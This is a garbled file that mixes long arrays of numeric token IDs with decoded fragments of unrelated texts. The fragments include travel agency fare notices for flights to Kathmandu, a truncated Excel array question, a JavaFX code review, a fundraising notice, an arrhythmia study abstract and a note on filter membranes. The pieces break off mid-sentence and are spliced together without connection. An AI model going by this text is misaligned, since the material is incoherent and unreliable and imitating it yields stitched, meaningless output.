4579, 387, 8692, 33, 49738, 35545, 84, 15, 681, 390, 1067, 441, 387, 313, 18161, 10, 41589, 14, 1010, 2904, 13, 285, 359, 588, 1007, 323, 690, 20182, 4610, 323, 368, 15, 187, 187, 2512, 310, 642, 12215, 253, 4195, 373, 588, 320, 2130, 432, 634, 2846, 390, 327, 634, 4288, 12282, 15, 844, 588, 1611, 776, 1682, 281, 1089, 253, 1682, 4195, 373, 323, 634, 4288, 15, 187, 187, 7845, 3057, 441, 387, 1182, 290, 35545, 84, 15, 681, 390, 1067, 441, 387, 187, 9, 18161, 10, 41589, 14, 1010, 2904, 1231, 671, 3959, 368, 12085, 187, 71, 4420, 327, 512, 2201, 187, 1094, 8737, 15, 187, 187, 18489, 2145, 27, 38372, 14538, 29068, 281, 23843, 7076, 86, 187, 187, 50, 15642, 556, 6138, 1529, 7289, 432, 697, 14713, 84, 387, 8068, 13, 5041, 13, 1457, 2816, 285, 14296, 323, 253, 5768, 15, 22344, 403, 671, 2130, 432, 247, 1643, 273, 253, 17838, 14713, 84, 15, 10396, 7911, 403, 417, 5907, 3066, 14289, 390, 16146, 15, 187, 187, 14067, 253, 7289, 13, 253, 2424, 13512, 403, 10693, 2130, 15, 7764, 7522, 275, 253, 830, 387, 3944, 1358, 49738, 35545, 84, 15, 681, 16, 9629, 14, 66, 14, 21049, 13, 285, 359, 588, 22276, 368, 604, 253, 4195, 373, 403, 3588, 327, 1110, 12282, 15, 187, 187, 7845, 3057, 441, 387, 1182, 290, 35545, 84, 15, 681, 390, 1067, 441, 387, 187, 9, 18161, 10, 41589, 14, 1010, 2904, 1231, 671, 3959, 368, 12085, 187, 71, 4420, 327, 512, 2201, 187, 1094, 8737, 15, 187, 187, 17961, 2164, 1163, 29068, 327, 1142, 29218, 1227, 5595, 37665, 313, 17961, 428, 2552, 4288, 10, 187, 187, 2042, 368, 403, 2104, 281, 4288, 875, 1024, 285, 253, 990, 273, 2552, 13, 253, 4195, 373, 403, 1335, 3240, 1698, 15, 7764, 7522, 275, 253, 2748, 830, 387, 3944, 1358, 49738, 35545, 84, 15, 681, 16, 9629, 14, 66, 14, 21049, 13, 5007, 441, 271, 4579, 387, 8692, 33, 49738, 35545, 84, 15, 681, 390, 1067, 441, 387, 313, 18161, 10, 41589, 14, 1010, 2904, 13, 285, 359, 588, 12252, 4745, 15, 187, 187, 1909, 342, 667, 643, 13571, 327, 7289, 13, 954, 273, 841, 14997, 403, 1327, 14, 709, 1504, 494, 285, 3522, 2544, 403, 1077, 1029, 15, 47368, 760, 604, 368, 403, 2119, 273, 253, 7408, 285, 1053, 626, 1902, 281, 1056, 667, 3522, 2544, 15, 187, 187, 7845, 3057, 441, 387, 1182, 290, 35545, 84, 15, 681, 390, 1067, 441, 387, 187, 9, 18161, 10, 41589, 14, 1010, 2904, 1231, 671, 3959, 368, 12085, 401, 4420, 327, 512, 2201, 39995, 15, 187, 187, 17961, 608, 27, 29068, 327, 1142, 29218, 1227, 5595, 37665, 1227, 5595, 1023, 3743, 187, 187, 39, 4420, 452, 644, 3777, 407, 954, 39995, 12060, 715, 35020, 15, 1310, 368, 403, 2104, 281, 4288, 1078, 3978, 1249, 13, 4195, 373, 403, 2761, 1884, 2558, 2406, 15, 4952, 323, 37521, 404, 13, 604, 368, 403, 2104, 281, 3553, 323, 37521, 404, 1078, 655, 4397, 13, 253, 4195, 373, 403, 651, 320, 1679, 685, 28689, 337, 9519, 432, 954, 8238, 15, 187, 187, 1231, 513, 1642, 368, 281, 320, 247, 1652, 12112, 342, 634, 12282, 281, 1379, 5750, 273, 841, 4195, 373, 15, 187, 187, 6067, 1067, 14118, 452, 644, 3240, 1029, 285, 359, 4510, 326, 368, 7522, 275, 253, 2748, 830, 387, 3944, 1358, 49738, 35545, 84, 15, 681, 16, 9629, 14, 66, 14, 21049, 15, 1422, 476, 671, 5007, 441, 271, 4579, 387, 8692, 33, 49738, 35545, 84, 15, 681, 390, 1067, 441, 387, 313, 18161, 10, 39338, 14, 1010, 2904, 187, 187, 39, 4420, 403, 1335, 2169, 323, 253, 5768, 9894, 875, 3978, 2145, 285, 4223, 1458, 15, 187, 187, 1909, 342, 667, 643, 13571, 327, 7289, 13, 954, 273, 841, 14997, 403, 1327, 14, 709, 1504, 494, 285, 3522, 2544, 403, 1077, 1029, 15, 47368, 760, 604, 368, 403, 2119, 273, 253, 7408, 285, 1053, 626, 1902, 281, 1056, 667, 3522, 2544, 15, 187, 187, 8693, 1388, 281, 7471, 253, 13571, 310, 4416, 1249, 15, 844, 513, 1804, 326, 368, 3057, 441, 4321, 323, 841, 4142, 15, 187, 187, 20598, 1605, 932, 285, 5566, 398, 187, 187, 938, 3344, 4059, 281, 3307, 3344, 4059, 428, 14772, 45710, 7357, 3495, 3344, 4059, 187, 187, 50, 15642, 6037, 1576, 310, 1907, 247, 2201, 7289, 432, 954, 8238, 275, 253, 1982, 15, 15292, 702, 84, 598, 281, 1884, 2558, 15, 380, 1682, 1039, 281, 3057, 441, 310, 407, 21006, 247, 2748, 247, 14430, 830, 387, 3944, 1358, 49738, 35545, 84, 15, 681, 16, 9629, 14, 66, 14, 21049, 594, 359, 452, 253, 2424, 1491, 281, 1918, 368, 271, 44414, 552, 285, 4376, 15, 1422, 476, 671, 1067, 441, 387, 22038, 15, 39338, 15, 1010, 2904, 390, 4579, 441, 387, 8692, 33, 49738, 35545, 84, 15, 681, 187, 187, 7542, 436, 310, 247, 2714, 19021, 13, 14997, 1364, 320, 9716, 407, 8330, 13, 3344, 3307, 15, 187, 187, 5677, 9458, 4288, 1364, 320, 875, 3436, 3344, 949, 1722, 7659, 13, 533, 627, 310, 247, 2806, 2180, 875, 2164, 4163, 285, 2145, 4397, 15, 187, 187, 7845, 7471, 841, 14997, 760, 604, 368, 403, 2119, 670, 634, 4288, 5827, 13, 347, 841, 14997, 403, 1327, 14, 709, 1504, 494, 13, 285, 3522, 2544, 36967, 5536, 22414, 15, 187, 187, 21691, 273, 253, 7289, 27, 187, 187, 8693, 1388, 281, 13571, 27, 187, 187, 28781, 13, 3344, 3307, 13, 4059, 187, 187, 15383, 483, 27, 187, 187, 1348, 14, 24221, 14, 1012, 14, 22342, 187, 187, 44831, 3297, 27, 187, 187, 20, 23264, 187, 187, 40984, 28504, 27, 187, 187, 20, 4200, 20556, 187, 187, 13086, 27, 187, 187, 38169, 20156, 559, 19021, 3064, 187, 187, 36, 18126, 318, 27, 187, 187, 53, 26195, 403, 8758, 14, 7676, 1504, 494, 187, 187, 2302, 921, 27, 187, 187, 53, 26195, 403, 8758, 14, 709, 1504, 494, 708, 8758, 14, 4168, 494, 187, 187, 7845, 3057, 441, 387, 1182, 290, 35545, 84, 15, 681, 390, 1067, 441, 387, 313, 18161, 10, 41589, 14, 1010, 2904, 187, 187, 1231, 671, 3959, 368, 12085, 401, 4420, 327, 512, 2201, 39995, 15, 187, 187, 27303, 1903, 27, 38372, 495, 1388, 7289, 428, 1996, 6508, 281, 10733, 3436, 394, 187, 187, 1992, 29461, 27928, 38372, 6037, 1106, 434, 11250, 281, 253, 2596, 3645, 23158, 13, 352, 310, 3515, 247, 495, 1897, 11841, 29068, 15, 308, 21315, 7911, 403, 6137, 407, 347, 1199, 347, 2030, 2558, 275, 778, 15050, 15, 187, 187, 9586, 2167, 253, 4288, 2180, 3797, 4596, 285, 4565, 13, 14997, 403, 417, 2130, 281, 23843, 7076, 86, 15, 380, 18353, 368, 476, 4288, 310, 1668, 4247, 15, 7764, 3877, 2378, 969, 253, 13512, 403, 417, 2130, 323, 253, 9449, 2740, 15, 50, 27, 187, 187, 29724, 281, 1091, 271, 3781, 672, 4194, 1180, 285, 3781, 1180, 1057, 417, 3761, 15, 37357, 342, 20494, 6287, 187, 187, 42, 452, 247, 1895, 835, 309, 452, 3562, 271, 11782, 342, 4903, 285, 309, 50276, 28206, 281, 4901, 253, 2193, 275, 619, 11782, 275, 247, 4858, 5084, 534, 1057, 417, 3761, 253, 4194, 3605, 273, 619, 11782, 15, 209, 187, 42, 971, 281, 6287, 949, 247, 5084, 285, 309, 971, 281, 1091, 247, 1318, 432, 271, 11782, 534, 1057, 417, 944, 2076, 423, 342, 253, 4194, 3605, 273, 253, 5084, 15, 2064, 812, 323 ]	1508We also offer you competitive fares on all major airlines. Dashain & Tihar fares to Kathmandu (June 9, 2015) Excellent fares are available for travel to Nepal during Dashain and Tihar this year. Fares range from $ 969 to $ 1495 from most cities. If you are interested in getting a quote, please complete the form at http://zentravels.com/request-a-quote, sending us an email at info@zentravels.com with your travel dates and names, or by phone at (202) 552-1508. Passengers from New York (JFK) should inquire about the special fares from Cathay Pacific (CX) while seats are available. Please contact us at zentravels.com or call us at (202) 552-1508We also offer you competitive fares on all major airlines. Tickets to Kathmandu for travel out period January - May (Jan 1, 2015) There is sale to Kathmandu and ticket prices range from USD 900 - 1200 from many cities in the US. You can fly out between now and May 31. There are some blackout periods on the outbound in May, and travel is not permitted on the return during some peak periods in July - August. You can stay for up to 4 months. Many of the sale tickets have very high penalties for date changes and refunds are not permitted. These flights will generally be in Qatar, Etihad, or Emirates (with flyDubai). Please contact us at zentravels.com or call us at (202) 552-1508We also offer you competitive fares on all major airlines. Nov 18 : Tickets to Kathmandu for December & January - March (Nov 18, 2014) If you are planning a trip to Nepal, the prices for the outbound December period will be between USD 1200 - 1800. If you are able to travel after January 15, the prices will be around USD 850 - 1200. In some cases, the lower fares begin from the first week of January from a number of cities. These flights will generally be in Qatar, Etihad, or Emirates (with flyDubai) Please contact us at zentravels.com or call us at (202) 552-1508We also offer you competitive fares on all major airlines. Sep 07 : Fares for Dashain (Sep 7, 2014) If you are planning to visit Nepal for Dashain, and you are able to travel before September 19, fares are still very competitive. After this date, seats are quite limited and prices exceed the USD 1600 mark. Please fill in the form at http://zentravels.com/request-a-quote, send us an email at info@zentravels.com or call us at (202) 552-1508, and we will look for some cheaper options for you.. Important Festival dates: Dashain Tika Friday, October 3 Tihar Bhai Tika Saturday, October 25 Fares are expected to increase after this week and we encourage you to take advantage of these lower fares. Please contact us at zentravels.com or call us at (202) 552-1508We also offer you competitive fares on all major airlines. May 15: Lower fares to Kathmandu in June, July, August and September Qatar, Etihad and Singapore Airlines have slightly reduced their fares for June - September this year. Seats are very limited and you may need to change your travel dates by as much as 7 -10 days. Please complete the request form at http://zentravels.com/request-a-quote, send us an email at info@zentravels.com or call us at (202) 552-1508, and we will look for some cheaper options for you. There is no guarantee the fares will be available from your city or on your travel dates. We will try our best to find the best fares for your travel. Please contact us at zentravels.com or call us at (202) 552-1508We also offer you competitive fares on all major airlines. March 13: Qatar Summer Sale to Kathmandu Qatar has announced another sale from its hubs at Chicago, Washington, New York and Houston for the summer. Sales are also available from a few of the AA hubs. Special prices are not offered via Philadelphia or Miami. Despite the sale, the required seats are hardly available. Please fill in the form at http://zentravels.com/request-a-quote, and we will advise you if the fares are valid on those dates. Please contact us at zentravels.com or call us at (202) 552-1508We also offer you competitive fares on all major airlines. Feb 24 : Sale on many Airlines / Most Cities (Feb - May travel) If you are able to travel between now and the end of May, the fares are still quite low. Please fill in the request form at http://zentravels.com/request-a-quote, send us an email at info@zentravels.com or call us at (202) 552-1508, and we will reply immediately. As with any other ticket on sale, most of these tickets are non-refundable and date changes are very high. Purchase only if you are sure of the trip and don't expect to make any date changes. Please contact us at zentravels.com or call us at (202) 552-1508We also offer you competitive Fares on all major airlines. Feb 5: Sale on many Airlines / Most Cities / Most Seasons Fares have been reduced by most airlines flying into Nepal. If you are able to travel before June 12, fares are almost 30 percent lower. Even for Dashain, if you are able to leave for Dashain before 19 September, the fares are would be less than USD 1250 from most cities. We do ask you to be a little flexible with your dates to take advantage of these fares. Our call volumes have been quite high and we prefer that you fill in the request form at http://zentravels.com/request-a-quote. You can also send us an email at info@zentravels.com or call us at (202)552-1508 Fares are still higher for the summer periods between June 13 and August 15. As with any other ticket on sale, most of these tickets are non-refundable and date changes are very high. Purchase only if you are sure of the trip and don't expect to make any date changes. Last day to purchase the ticket is Feb 12. We do suggest that you contact us earlier for these rates. Old Deals and Offers 20 Jan 2014 to 22 Jan 2014 - Later Extended till 23 Jan 2014 Qatar Airways is having a major sale from most cities in the US. Discounts up to 30 percent. The best way to contact us is by completing a request a quote form at http://zentravels.com/request-a-quote so we have the required information to give you an itinerary and price. You can also call us at 202.552.1508 or email us at info@zentravels.com Since this is a special fare, tickets must be purchased by Wednesday, Jan 22. Outbound travel must be between 26 Jan through 17 Dec, but there is a black period between 24 July and 13 September. Please purchase these tickets only if you are sure about your travel plans, as these tickets are non-refundable, and date changes incur heavy penalties. Details of the sale: Last day to ticket: Wednesday, Jan 22, 2014 Blackout: 24-Jul-13-Sep Minimum stay: 3 Days Maximum Stay: 3 Months Change: USD 450 + fare difference Cancellation: Tickets are Non-Refundable No show: Tickets are Non-refundable & Non-changeable Please contact us at zentravels.com or call us at (202) 552-1508 We also offer you competitive Fares on all major airlines. Nov 11: Qatar 3 day sale - later extended to Nov 26th To commemorate Qatar Airway's inclusion to the One World alliance, it is running a 3 days Global Sale. Ticket prices are decreased by as much as 25 percent in may routes. Even though the travel period includes November and December, tickets are not available to Kathmandu. The earliest you can travel is 16 January. Please note once again the seats are not available for the Christmas break.Q: Loop to return an array when row number and array number does not match. Problems with nested loop I have a problem where I have created an Array with variables and I want to enter the values in my Array in a separate column which does not match the row index of my Array. I want to loop through a column and I want to return a value from an Array which does not correspend with the row index of the column. That could for
[ 27347, 10166, 275, 24671, 4877, 588, 10347, 5014, 281, 11377, 275, 19951, 4017, 13, 5079, 40556, 264, 1482, 13, 285, 275, 1329, 9503, 275, 1327, 43115, 2250, 275, 253, 5052, 4866, 15, 29712, 398, 403, 42167, 416, 3770, 1342, 13, 31270, 30947, 13, 285, 443, 1758, 3044, 34, 6851, 15, 50, 27, 187, 187, 11495, 342, 4974, 5564, 187, 187, 1552, 2127, 2722, 247, 4060, 342, 271, 2460, 285, 749, 5564, 27, 187, 187, 1276, 11701, 476, 309, 1056, 275, 436, 2127, 285, 310, 627, 247, 1805, 273, 2509, 436, 32, 187, 10708, 3631, 8999, 15, 13510, 11495, 28, 187, 187, 2948, 19199, 50095, 15, 32280, 15, 8519, 15, 11495, 28, 187, 2948, 19199, 50095, 15, 32280, 15, 5695, 15, 6586, 28, 187, 2948, 19199, 50095, 15, 32280, 15, 5695, 15, 45799, 28, 187, 2948, 19199, 50095, 15, 32280, 15, 7916, 15, 15099, 32118, 28, 187, 187, 6930, 187, 475, 187, 475, 1214, 7582, 329, 312, 343, 465, 5582, 187, 1738, 187, 4387, 966, 24527, 3378, 5623, 13408, 8725, 23566, 32118, 551, 187, 187, 9486, 2457, 24527, 4060, 426, 747, 24527, 1874, 187, 9486, 2457, 24527, 749, 13408, 426, 747, 24527, 1874, 187, 9486, 2457, 10882, 3145, 17300, 426, 747, 10882, 3145, 1874, 187, 187, 4387, 24527, 3378, 5623, 13408, 9, 2776, 4060, 2776, 13, 4605, 749, 2776, 13, 10882, 17300, 10, 551, 187, 50274, 1178, 13408, 9, 5564, 2776, 558, 187, 50274, 1178, 5623, 13408, 9, 2377, 2776, 558, 187, 50274, 1178, 1044, 3561, 9, 30857, 558, 187, 50274, 4478, 1874, 187, 94, 187, 187, 9486, 2991, 873, 5623, 13408, 9, 2776, 749, 10, 551, 187, 50274, 2377, 13408, 15, 32256, 9, 2377, 558, 187, 94, 187, 187, 9486, 2991, 873, 1044, 3561, 9, 6586, 23764, 10, 551, 187, 50274, 30857, 15, 1178, 6586, 9, 8428, 558, 187, 94, 187, 187, 9486, 2991, 873, 13408, 9, 2776, 4060, 2776, 10, 551, 187, 50274, 5564, 15, 32256, 9, 5564, 2776, 558, 187, 94, 187, 187, 9486, 2991, 2012, 1082, 551, 187, 50274, 1911, 9, 30857, 13, 470, 13, 470, 13, 337, 13, 374, 558, 187, 50274, 1911, 9, 5564, 13, 337, 13, 470, 558, 187, 50274, 1911, 9, 2377, 13408, 13, 337, 13, 337, 558, 187, 94, 187, 187, 94, 187, 187, 34, 27, 187, 187, 6300, 281, 1405, 12389, 21460, 27, 187, 10069, 1076, 187, 1552, 1057, 417, 1056, 3282, 27, 187, 187, 94, 187, 187, 94, 187, 187, 42, 717, 417, 2119, 604, 436, 310, 253, 33907, 1895, 275, 3491, 285, 2469, 272, 432, 26705, 390, 352, 369, 751, 436, 275, 253, 26705, 275, 253, 806, 1659, 15, 187, 1992, 9113, 5981, 634, 2127, 1060, 13, 368, 476, 3491, 285, 15596, 432, 634, 26705, 13, 3609, 512, 634, 2127, 13, 285, 2315, 44574, 14, 76, 390, 5532, 253, 12166, 6409, 387, 253, 1755, 273, 253, 14835, 41288, 27, 187, 187, 2042, 352, 310, 253, 3236, 1039, 275, 253, 26705, 13, 634, 26705, 943, 452, 247, 5981, 4500, 15, 1310, 368, 476, 626, 1089, 352, 13, 3186, 352, 598, 327, 17899, 27, 368, 1833, 6524, 1089, 352, 15, 187, 47, 6472, 187, 5623, 5564, 310, 581, 3159, 13, 594, 368, 476, 4354, 1818, 749, 13408, 281, 749, 5564, 15, 831, 10384, 281, 778, 4243, 273, 634, 2127, 15, 187, 187, 9486, 2991, 873, 5623, 5564, 9, 2776, 749, 10, 551, 187, 50274, 2377, 5564, 15, 32256, 9, 2377, 558, 187, 94, 187, 187, 9486, 2991, 873, 1044, 3561, 9, 6586, 23764, 10, 551, 187, 50274, 30857, 15, 1178, 6586, 9, 8428, 558, 187, 94, 187, 187, 9486, 2991, 873, 13408, 9, 2776, 4060, 2776, 10, 551, 187, 50274, 5564, 15, 32256, 9, 5564, 2776, 558, 187, 94, 187, 187, 4943, 13, 368, 452, 690, 36439, 4454, 13, 751, 749, 13, 285, 6508, 4454, 13, 751, 4060, 2776, 15, 35876, 943, 344, 44003, 13, 533, 34007, 15, 15358, 27, 187, 187, 2377, 5204, 749, 5564, 4312, 187, 8428, 5204, 2460, 187, 5564, 2776, 5204, 4060, 4312, 187, 187, 1552, 671, 10384, 281, 253, 1716, 26161, 15, 187, 46, 2865, 187, 187, 9486, 2991, 2012, 1082, 551, 187, 50274, 1911, 9, 30857, 13, 470, 13, 470, 13, 337, 13, 374, 558, 187, 50274, 1911, 9, 5564, 13, 337, 13, 470, 558, 187, 50274, 1911, 9, 2377, 13408, 13, 337, 13, 337, 558, 187, 94, 187, 187, 3404, 806, 17834, 13, 436, 2789, 642, 3282, 15, 2053, 3904, 403, 625, 751, 10721, 3904, 27, 1056, 731, 247, 3638, 27, 187, 9486, 4228, 2457, 540, 4392, 5529, 35, 64, 5915, 8242, 1042, 42564, 64, 57, 426, 470, 28, 187, 9486, 4228, 2457, 540, 4392, 5529, 35, 64, 5915, 8242, 1042, 42564, 64, 58, 426, 470, 28, 187, 187, 9486, 4228, 2457, 540, 4392, 5529, 35, 64, 4350, 1539, 64, 58, 426, 374, 28, 187, 187, 9486, 4228, 2457, 540, 308, 43561, 64, 5915, 8242, 1042, 42564, 64, 57, 426, 337, 28, 187, 9486, 4228, 2457, 540, 308, 43561, 64, 5915, 8242, 1042, 42564, 64, 58, 426, 470, 28, 187, 187, 9486, 4228, 2457, 540, 9242, 11584, 43561, 64, 5915, 8242, 1042, 42564, 64, 57, 426, 337, 28, 187, 9486, 4228, 2457, 540, 9242, 11584, 43561, 64, 5915, 8242, 1042, 42564, 64, 58, 426, 337, 28, 187, 187, 395, 187, 9486, 2991, 2012, 1082, 551, 187, 50274, 1911, 9, 30857, 13, 4392, 5529, 35, 64, 5915, 8242, 1042, 42564, 64, 57, 13, 4392, 5529, 35, 64, 5915, 8242, 1042, 42564, 64, 58, 558, 187, 50274, 1178, 13317, 18821, 9, 30857, 13, 4392, 5529, 35, 64, 4350, 1539, 64, 58, 558, 187, 50274, 1911, 9, 5564, 13, 308, 43561, 64, 5915, 8242, 1042, 42564, 64, 57, 13, 308, 43561, 64, 5915, 8242, 1042, 42564, 64, 58, 558, 187, 50274, 1911, 9, 2377, 13408, 13, 9242, 11584, 43561, 64, 5915, 8242, 1042, 42564, 64, 57, 13, 9242, 11584, 43561, 64, 5915, 8242, 1042, 42564, 64, 58, 558, 187, 94, 187, 187, 8497, 326, 309, 12841, 253, 4194, 13905, 984, 352, 369, 337, 28, 352, 434, 417, 3309, 15, 187, 21747, 6307, 27, 187, 10708, 3631, 8999, 15, 13510, 11495, 28, 187, 187, 2948, 19199, 50095, 15, 32280, 15, 8519, 15, 11495, 28, 187, 2948, 19199, 50095, 15, 32280, 15, 5695, 15, 6586, 28, 187, 2948, 19199, 50095, 15, 32280, 15, 5695, 15, 45799, 28, 187, 2948, 19199, 50095, 15, 32280, 15, 7916, 15, 15099, 32118, 28, 187, 187, 6930, 187, 475, 187, 475, 1214, 7582, 329, 312, 343, 465, 5582, 187, 1738, 187, 4387, 966, 24527, 3378, 5623, 5564, 8725, 23566, 32118, 551, 535, 50274, 9486, 2457, 24527, 4060, 426, 747, 24527, 1874, 187, 50274, 9486, 2457, 24527, 749, 5564, 426, 747, 24527, 1874, 187, 50274, 9486, 2457, 10882, 3145, 17300, 426, 747, 10882, 3145, 1874, 535, 50274, 4387, 24527, 3378, 5623, 5564, 9, 2776, 4060, 4312, 13, 4605, 749, 5564, 4312, 13, 10882, 17300, 10, 551, 187, 50270, 1178, 13408, 9, 5564, 4312, 558, 187, 50270, 1178, 5623, 5564, 9, 2377, 5564, 4312, 558, 187, 50270, 1178, 1044, 3561, 9, 30857, 558, 187, 50270, 4478, 1874, 187, 50274, 94, 535, 50274, 9486, 2991, 873, 5623, 5564, 9, 2776, 749, 10, 551, 187, 50270, 2377, 5564, 15, 32256, 9, 2377, 5564, 4312, 558, 187, 50274, 94, 535, 50274, 9486, 2991, 873, 1044, 3561, 9, 6586, 2460, 10, 551, 187, 50270, 30857, 15, 1178, 6586, 9, 5695, 558, 187, 50274, 94, 535, 50274, 9486, 2991, 873, 13408, 9, 2776, 4060, 4312, 10, 551, 187, 50270, 5564, 15, 32256, 9, 5564, 4312, 558, 187, 50274, 94, 535, 50274, 9486, 2991, 2012, 1082, 551, 187, 50270, 1911, 9, 30857, 13, 4392, 5529, 35, 64, 5915, 8242, 1042, 42564, 64, 57, 13, 4392, 5529, 35, 64, 5915, 8242, 1042, 42564, 64, 58, 558, 187, 50270, 1178, 13317, 18821, 9, 30857, 13, 4392, 5529, 35, 64, 4350, 1539, 64, 58, 558, 187, 50270, 1911, 9, 5564, 13, 308, 43561, 64, 5915, 8242, 1042, 42564, 64, 57, 13, 308, 43561, 64, 5915, 8242, 1042, 42564, 64, 58, 558, 187, 50270, 1911, 9, 2377, 13408, 13, 9242, 11584, 43561, 64, 5915, 8242, 1042, 42564, 64, 57, 13, 9242, 11584, 43561, 64, 5915, 8242, 1042, 42564, 64, 58, 558, 187, 50274, 94, 187, 187, 94, 535, 25989, 556, 10098, 247, 747, 3239, 327, 697, 33139, 16106, 6941, 4212, 281, 4354, 31656, 2583, 281, 253, 2448, 4410, 10547, 2584, 6053, 16639, 545, 3508, 388, 2284, 8202, 6619, 6031, 275, 253, 22075, 15, 380, 23672, 3239, 13, 534, 310, 12482, 949, 253, 2022, 8217, 15, 681, 3239, 285, 253, 15439, 33139, 16106, 13, 16000, 23866, 387, 253, 370, 22, 13, 370, 740, 13, 370, 1099, 13, 370, 1235, 13, 370, 2313, 13, 285, 370, 1518, 2308, 15, 2756, 187, 25989, 588, 3700, 2233, 6, 273, 1016, 23672, 3587, 281, 253, 2448, 4410, 10547, 13, 6941, 4212, 281, 452, 616, 23866, 22595, 13102, 47045, 281, 616, 5368, 33139, 16106, 8553, 15, 2726, 8217, 4390, 5877, 689, 6783, 3041, 33139, 16106, 8553, 342, 6152, 8364, 7660, 13, 253, 2567, 556, 247, 1077, 1534, 7731, 2613, 326, 476, 1379, 5750, 273, 253, 23672, 2086, 15, 187, 187, 25989, 556, 5196, 2067, 2074, 18120, 275, 253, 2469, 13, 954, 4102, 275, 4437, 4050, 1563, 6053, 25576, 27504, 13, 275, 3919, 4332, 1563, 253, 6692, 27108, 285, 246, 49097, 13, 285, 275, 4247, 4267, 1563, 253, 31878, 757, 48833, 15, 1044, 409, 3364, 1351, 329, 19, 14, 6367, 38369, 6358, 275, 253, 49238, 17876, 15, 187, 18139, 3825, 497, 5196, 275, 253, 49238, 17876, 281, 7409, 6297, 323, 38369, 6358, 326, 2826, 846, 1669, 27974, 8829, 273, 253, 13344, 3364, 1351, 329, 9, 19, 10, 313, 29481, 34, 9, 19, 1228, 13892, 1999, 530, 14, 43490, 746, 15, 1780, 83, 14292, 6358, 497, 8558, 273, 17604, 6510, 13, 6178, 7976, 275, 4294, 13, 285, 308, 37582, 9, 19, 10, 6437, 14946, 15, 380, 2380, 369, 6437, 2173, 1580, 38369, 6358, 497, 12125, 846, 33555, 342, 247, 2173, 308, 37582, 9, 19, 10, 6437, 25166, 313, 50185, 14, 22270, 2385, 10, 285, 858, 417, 2826, 275, 2380, 281, 1529, 46400, 249, 13, 367, 4161, 9, 19, 1637, 481, 1219, 350, 569, 275, 14215, 2614, 2685, 497, 11543, 253, 2847, 273, 841, 38369, 6358, 984, 14215, 2614, 2685, 313, 284, 4080, 342, 16094, 2494, 46051, 10, 369, 19965, 846, 530, 14, 43490, 746, 13, 285, 627, 497, 642, 24802, 2544, 275, 253, 36958, 14, 1267, 8223, 15, 496, 1635, 13, 38369, 6358, 858, 417, 2826, 846, 5286, 273, 1529, 16016, 16033, 30862, 263, 313, 7806, 2172, 35594, 481, 380, 2442, 10171, 273, 45852, 10177, 29692, 5652, 22614, 275, 841, 38369, 6358, 369, 671, 6949, 984, 308, 37582, 9, 19, 10, 556, 644, 2011, 281, 23278, 10844, 22614, 15, 24907, 9048, 273, 5074, 342, 253, 9840, 14, 31211, 12598, 6437, 25166, 354, 1087, 9201, 311, 858, 417, 4796, 253, 4294, 273, 841, 38369, 6358, 15, 24907, 9048, 342, 387, 1658, 460, 390, 19379, 12531, 22438, 7369, 275, 271, 2559, 4294, 273, 38369, 6358, 13, 7738, 326, 11619, 1105, 46348, 22614, 778, 2686, 15582, 253, 38369, 7736, 2425, 273, 308, 37582, 9, 19, 481, 2053, 4679, 7568, 326, 1669, 27974, 8829, 273, 530, 14, 43490, 746, 24021, 953, 38369, 6358, 3066, 247, 5122, 3907, 273, 247, 1534, 5141, 275, 14215, 2614, 2685, 390, 5743, 273, 253, 45852, 11219, 985, 15, 733, 310, 1896, 326, 308, 37582, 9, 19, 10, 778, 452, 247, 1480, 1055, 327, 253, 8545, 2425, 273, 253, 2798, 275, 8427, 13, 534, 3400, 1534, 12739, 323, 10177, 3394, 835, 308, 37582, 9, 19, 10, 310, 2559, 13, 299, 15, 72, 904, 846, 17883, 24031, 390, 5286, 273, 30881, 26649, 511, 14, 19, 11531, 15, 34, 5235, 273, 19555, 15116, 452, 644, 4081, 689, 253, 1107, 13, 285, 1142, 273, 841, 15116, 2486, 32449, 5806, 4753, 3782, 275, 594, 14, 8890, 10358, 14, 5641, 14, 17381, 5806, 16669, 15, 496, 841, 5806, 16669, 26549, 7419, 49359, 13, 3798, 1160, 273, 30429, 23150, 13, 4853, 247, 13369, 390, 2317, 627, 17352, 534, 310, 6898, 342, 10115, 2907, 2144, 13, 824, 347, 10115, 2907, 6315, 347, 973, 347, 643, 4753, 15, 1198, 1650, 13, 320, 7917, 2144, 556, 671, 644, 4081, 323, 10199, 715, 253, 2317, 273, 247, 10358, 14, 5641, 14, 17381, 5806, 11461, 15, 380, 4588, 12108, 273, 253, 2317, 778, 320, 275, 247, 11593, 5133, 285, 275, 643, 10872, 253, 12868, 4254, 310, 28446, 19373, 15, 5220, 13, 347, 271, 5795 ]	Getting trained in NVDA will prepare participants to engage in peaceful protect, civil disobedience, and in support roles in nonviolent action in the resistance movement. Trainers are Wendy Rochman, Kenneth Nova, and Gina McAfee.Q: Label with Subtitle This code shows a title with an image and subtitle: What improvements can I make in this code and is there a better of doing this? package Components.CustomLabel; import javafx.scene.control.Label; import javafx.scene.image.Image; import javafx.scene.image.ImageView; import javafx.scene.layout.GridPane; /** * * @author Aamir khan / public class LabelWithSubTitle extends GridPane { private final Label title = new Label(); private final Label subTitle = new Label(); private final ImageView thumb = new ImageView(); public LabelWithSubTitle(String titleString, String subString, Image thumb) { setTitle(titleString); setSubTitle(subString); setThumb(thumb); init(); } private void setSubTitle(String sub) { subTitle.setText(sub); } private void setThumb(Image img) { thumb.setImage(img); } private void setTitle(String titleString) { title.setText(titleString); } private void init() { add(thumb, 0, 0, 1, 2); add(title, 1, 0); add(subTitle, 1, 1); } } A: Just tome nit picks: Formatting This does not make sense: } } I am not sure if this is the formatting problem in copy and pasting from IDE or it was like this in the IDE in the first place. To correctly format your code here, you can copy and paste from your IDE, select all your code, and press ctrl-k or click the {} button at the top of the editing pane: If it is the original way in the IDE, your IDE should have a format option. If you can't find it, search it up on google: you'll eventually find it. Naming Subtitle is one word, so you can easily change subTitle to subtitle. This applies to may parts of your code. private void setSubtitle(String sub) { subtitle.setText(sub); } private void setThumb(Image img) { thumb.setImage(img); } private void setTitle(String titleString) { title.setText(titleString); } Here, you have some shortened names, like sub, and extended names, like titleString. Names should he concise, but understandable. Try: sub -> subtitleText img -> image titleString -> titleText This also applies to the Constructor. Misc private void init() { add(thumb, 0, 0, 1, 2); add(title, 1, 0); add(subTitle, 1, 1); } At first glance, this makes no sense. These numbers are more like magic numbers: make them a constant: private static final int THUMB_COORDINATES_X = 0; private static final int THUMB_COORDINATES_Y = 0; private static final int THUMB_SPAN_Y = 2; private static final int TITLE_COORDINATES_X = 1; private static final int TITLE_COORDINATES_Y = 0; private static final int SUBTITLE_COORDINATES_X = 1; private static final int SUBTITLE_COORDINATES_Y = 1; and private void init() { add(thumb, 